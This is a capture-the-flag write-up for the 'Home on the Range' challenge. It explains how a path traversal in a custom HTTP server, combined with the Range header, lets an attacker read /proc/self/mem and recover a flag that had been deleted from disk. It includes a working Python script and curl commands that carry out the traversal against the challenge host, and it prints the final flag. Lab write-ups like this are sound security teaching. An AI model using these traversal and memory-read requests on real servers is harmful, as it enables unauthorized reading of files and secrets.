Home on the Range

933

Instructions

I wrote a custom HTTP server to play with obscure HTTP headers.

By Jonathan (@JBYoshi on discord)

Solution

After exploring the website in Burpsuite, I noticed that there was a path traversal vulnerability and that I could read any file on the filesystem. Looking around the filesystem, I found server.py at the root of the filesystem.

Reading this file, I realized it was the actively running webserver and that it has two quirks:

  1. On startup, it reads the flag into a variable, closes the file descriptor, and then deletes the flag on disk.
  2. It allows reading arbitrary byte ranges from a file using the Range: HTTP header.
# (1) reads the flag into a varaible
with open("/setup/flag.txt") as f:
    the_flag = f.read()
os.remove("/setup/flag.txt")

# -- skip -- #

def try_serve_file(self, f):
        if f == "":
            f = "."
        try:
            status_code = 200
            range_match = re.match("^bytes=\\d*-\\d*(, *\\d*-\\d*)*$", self.headers.get("range", "none")

# -- continued -- #

My goal from there was to scan the different memory sections of the running process for the flag format. In Linux we can get raw access to the virtual address space of a process via /proc/<pid>/mem and since our arbitrary read is being done by the process we are trying to read, we can use /proc/self/mem. However, simply trying to read this whole file will result in an error since the majority of the virtual address space is unmapped.

Instead of reading the whole file, we first need to read /proc/self/maps to find the mapped memory locations in the file and read those specific ranges.

I wrote a script to parse the hexadecimal memory addresses for each mapped section, convert the addresses to decimal, set the Range: header in a curl request, and save the result to disk. It was important to subtract 1 from the end of each range since otherwise we’d try to read an extra byte outside the mapped region and would get an input/output error.

#!/usr/bin/env python3
import subprocess
import sys

# read the ranges 
def read_ranges():
    ranges = []
    with open("maps", "r") as f:
        for line in f.readlines():
            s = line.split(" ")
            ranges.append(s[0])
    return ranges



def fix_addresses(addr_str):
    addresses = addr_str
    addr_1, addr_2 = addresses.split("-")
    addr_1, addr_2 = int(addr_1, 16), int(addr_2, 16)
    return f"{addr_1}-{addr_2-1}"


if len(sys.argv) > 1:
    print(fix_addresses(sys.argv[1]))
    exit(0)


hex_ranges = read_ranges()
ranges = [fix_addresses(r) for r in hex_ranges]

for i, range in enumerate(ranges):
    print(f"Downloading ({i})")
    subprocess.run(f"curl -H 'Range: bytes={range}' --path-as-is 'http://guppy.utctf.live:7884///../../proc/self/mem' >out/{i}", shell=True, check=False)


print("done!!")

Grepping for the flag in the resulting memory eventually yielded the flag. However, this script could’ve been optimized further in a few ways. For starters, I could’ve filtered to only mapped memory spaces with read permissions. Second, we could ignore the majority of spaces where we wouldn’t find the flag variable, like mapped libraries.

$ ./solve.py 70ed2a18b000-70ed2a57e000
124163915821056-124163919962111

$ curl -H 'Range: bytes=124163915821056-124163919962111' --path-as-is -s 'http://guppy.utctf.live:7884///../../proc/self/mem' | strings | grep utflag
utflag{do_u_want_a_piece_of_me}